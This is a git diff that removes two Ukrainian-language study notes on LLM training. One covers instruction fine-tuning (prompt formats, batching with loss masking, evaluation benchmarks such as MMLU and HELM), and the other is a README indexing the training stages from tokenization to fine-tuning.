[https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md deleted file mode 100644 index 2af705780..000000000 --- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md +++ /dev/null @@ -1,100 +0,0 @@ -# 7.2. Налаштування для виконання інструкцій - -> [!TIP] -> Мета цього розділу - показати, як **налаштувати вже попередньо навчану модель для виконання інструкцій**, а не просто генерувати текст, наприклад, відповідати на завдання як чат-бот. - -## Набір даних - -Щоб налаштувати LLM для виконання інструкцій, необхідно мати набір даних з інструкціями та відповідями для налаштування LLM. Існують різні формати для навчання LLM виконувати інструкції, наприклад: - -- Приклад стилю запиту Apply Alpaca: -```csharp -Below is an instruction that describes a task. Write a response that appropriately completes the request. - -### Instruction: -Calculate the area of a circle with a radius of 5 units. - -### Response: -The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units: - -\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units. -``` -- Приклад стилю запиту Phi-3: -```vbnet -<|User|> -Can you explain what gravity is in simple terms? - -<|Assistant|> -Absolutely! Gravity is a force that pulls objects toward each other. -``` -Навчання LLM з такими наборами даних замість просто сирого тексту допомагає LLM зрозуміти, що він повинен давати конкретні відповіді на запитання, які він отримує. - -Отже, одне з перших завдань з набором даних, що містить запити та відповіді, - це змоделювати ці дані у бажаному форматі запиту, наприклад: -```python -# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb -def format_input(entry): -instruction_text = ( -f"Below is an instruction that describes a task. " -f"Write a response that appropriately completes the request." -f"\n\n### Instruction:\n{entry['instruction']}" -) - -input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else "" - -return instruction_text + input_text - -model_input = format_input(data[50]) - -desired_response = f"\n\n### Response:\n{data[50]['output']}" - -print(model_input + desired_response) -``` -Тоді, як завжди, потрібно розділити набір даних на набори для навчання, валідації та тестування. - -## Пакетування та завантажувачі даних - -Тоді потрібно пакетувати всі вхідні дані та очікувані виходи для навчання. Для цього потрібно: - -- Токенізувати тексти -- Доповнити всі зразки до однакової довжини (зазвичай довжина буде такою ж великою, як довжина контексту, що використовується для попереднього навчання LLM) -- Створити очікувані токени, зсувши вхідні дані на 1 у власній функції об'єднання -- Замінити деякі токени доповнення на -100, щоб виключити їх з втрат навчання: Після першого токена `endoftext` замінити всі інші токени `endoftext` на -100 (оскільки використання `cross_entropy(...,ignore_index=-100)` означає, що він ігноруватиме цілі з -100) -- \[Додатково\] Замаскувати за допомогою -100 також всі токени, що належать до запитання, щоб LLM навчався лише генерувати відповідь. У стилі Apply Alpaca це означатиме замаскувати все до `### Response:` - -З цим створеним, настав час створити завантажувачі даних для кожного набору даних (навчання, валідація та тестування). - -## Завантажити попередньо навчений LLM та тонке налаштування та перевірка втрат - -Потрібно завантажити попередньо навчений LLM, щоб його тонко налаштувати. Це вже обговорювалося на інших сторінках. Тоді можна використовувати раніше використану функцію навчання для тонкого налаштування LLM. - -Під час навчання також можна спостерігати, як змінюються втрати навчання та втрати валідації протягом епох, щоб побачити, чи зменшуються втрати і чи відбувається перенавчання.\ -Пам'ятайте, що перенавчання відбувається, коли втрати навчання зменшуються, але втрати валідації не зменшуються або навіть збільшуються. Щоб уникнути цього, найпростіше - зупинити навчання на епосі, коли починається ця поведінка. - -## Якість відповіді - -Оскільки це не тонке налаштування класифікації, де можна більше довіряти змінам втрат, також важливо перевірити якість відповідей у тестовому наборі. Тому рекомендується зібрати згенеровані відповіді з усіх тестових наборів і **перевірити їхню якість вручну**, щоб побачити, чи є неправильні відповіді (зауважте, що LLM може правильно створити формат і синтаксис речення відповіді, але дати абсолютно неправильну відповідь. Зміна втрат не відобразить цю поведінку).\ -Зверніть увагу, що також можна провести цей огляд, передавши згенеровані відповіді та очікувані відповіді **іншим LLM і попросивши їх оцінити відповіді**. - -Інші тести, які можна провести для перевірки якості відповідей: - -1. **Вимірювання масового багатозадачного мовного розуміння (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU оцінює знання моделі та здатності до розв'язання проблем у 57 предметах, включаючи гуманітарні науки, науки та інше. Він використовує питання з вибором для оцінки розуміння на різних рівнях складності, від початкового до просунутого професійного. -2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Ця платформа дозволяє користувачам порівнювати відповіді різних чат-ботів поруч. Користувачі вводять запит, і кілька чат-ботів генерують відповіді, які можна безпосередньо порівняти. -3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval - це автоматизована система оцінювання, де просунутий LLM, такий як GPT-4, оцінює відповіді інших моделей на різні запити. -4. **Оцінка загального мовного розуміння (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE - це колекція з дев'яти завдань з розуміння природної мови, включаючи аналіз настроїв, текстуальне наслідкування та відповіді на запитання. -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Спираючись на GLUE, SuperGLUE включає більш складні завдання, які важко виконати для сучасних моделей. -6. **Бенчмарк за межами імітаційної гри (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench - це масштабний бенчмарк з понад 200 завданнями, які тестують здібності моделі в таких областях, як міркування, переклад та відповіді на запитання. -7. **Голістична оцінка мовних моделей (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM забезпечує всебічну оцінку за різними метриками, такими як точність, надійність та справедливість. -8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Відкритий фреймворк оцінювання від OpenAI, який дозволяє тестувати AI моделі на кастомних та стандартизованих завданнях. -9. [**HumanEval**](https://github.com/openai/human-eval)**:** Колекція програмних задач, що використовуються для оцінки здібностей генерації коду мовними моделями. -10. **Набір даних для відповіді на запитання Стенфордського університету (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD складається з питань про статті з Вікіпедії, де моделі повинні зрозуміти текст, щоб відповісти точно. -11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Великий набір даних з питань та відповідей, а також документів-доказів. - -і багато інших - -## Код тонкого налаштування за інструкціями - -Ви можете знайти приклад коду для виконання цього тонкого налаштування за адресою [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) - -## Посилання - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md deleted file mode 100644 index c76788f1e..000000000 --- a/src/todo/llm-training-data-preparation/README.md +++ /dev/null @@ -1,98 +0,0 @@ -# LLM Training - Data Preparation - -**Це мої нотатки з дуже рекомендованої книги** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **з деякою додатковою інформацією.** - -## Basic Information - -Вам слід почати з прочитання цього посту для деяких базових концепцій, які ви повинні знати: - -{{#ref}} -0.-basic-llm-concepts.md -{{#endref}} - -## 1. Tokenization - -> [!TIP] -> Мета цього початкового етапу дуже проста: **Розділіть вхідні дані на токени (ідентифікатори) таким чином, щоб це мало сенс**. - -{{#ref}} -1.-tokenizing.md -{{#endref}} - -## 2. Data Sampling - -> [!TIP] -> Мета цього другого етапу дуже проста: **Виберіть вхідні дані та підготуйте їх для етапу навчання, зазвичай розділяючи набір даних на речення певної довжини та також генеруючи очікувану відповідь.** - -{{#ref}} -2.-data-sampling.md -{{#endref}} - -## 3. Token Embeddings - -> [!TIP] -> Мета цього третього етапу дуже проста: **Призначте кожному з попередніх токенів у словнику вектор бажаних розмірів для навчання моделі.** Кожне слово в словнику буде точкою в просторі X вимірів.\ -> Зверніть увагу, що спочатку позиція кожного слова в просторі просто ініціалізується "випадковим чином", і ці позиції є параметрами, що підлягають навчання (будуть покращені під час навчання). -> -> Більше того, під час вбудовування токенів **створюється ще один шар вбудовувань**, який представляє (в даному випадку) **абсолютну позицію слова в навчальному реченні**. Таким чином, слово в різних позиціях у реченні матиме різне представлення (значення). - -{{#ref}} -3.-token-embeddings.md -{{#endref}} - -## 4. Attention Mechanisms - -> [!TIP] -> Мета цього четвертого етапу дуже проста: **Застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які будуть **фіксувати зв'язок слова в словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\ -> Для цього використовується багато шарів, тому багато параметрів, що підлягають навчання, будуть фіксувати цю інформацію. - -{{#ref}} -4.-attention-mechanisms.md -{{#endref}} - -## 5. LLM Architecture - -> [!TIP] -> Мета цього п'ятого етапу дуже проста: **Розробити архітектуру повного LLM**. З'єднайте все разом, застосуйте всі шари та створіть усі функції для генерації тексту або перетворення тексту в ідентифікатори та назад. -> -> Ця архітектура буде використовуватися як для навчання, так і для прогнозування тексту після його навчання. - -{{#ref}} -5.-llm-architecture.md -{{#endref}} - -## 6. Pre-training & Loading models - -> [!TIP] -> Мета цього шостого етапу дуже проста: **Навчити модель з нуля**. Для цього буде використана попередня архітектура LLM з деякими циклами, що проходять через набори даних, використовуючи визначені функції втрат і оптимізатор для навчання всіх параметрів моделі. - -{{#ref}} -6.-pre-training-and-loading-models.md -{{#endref}} - -## 7.0. LoRA Improvements in fine-tuning - -> [!TIP] -> Використання **LoRA значно зменшує обчислення**, необхідні для **тонкої настройки** вже навчених моделей. - -{{#ref}} -7.0.-lora-improvements-in-fine-tuning.md -{{#endref}} - -## 7.1. Fine-Tuning for Classification - -> [!TIP] -> Мета цього розділу - показати, як тонко налаштувати вже попередньо навчену модель, щоб замість генерації нового тексту LLM вибирав **ймовірності того, що даний текст буде класифікований у кожну з наданих категорій** (наприклад, чи є текст спамом чи ні). - -{{#ref}} -7.1.-fine-tuning-for-classification.md -{{#endref}} - -## 7.2. Fine-Tuning to follow instructions - -> [!TIP] -> Мета цього розділу - показати, як **тонко налаштувати вже попередньо навчену модель для виконання інструкцій**, а не просто генерувати текст, наприклад, відповідати на завдання як чат-бот. - -{{#ref}} -7.2.-fine-tuning-to-follow-instructions.md -{{#endref}}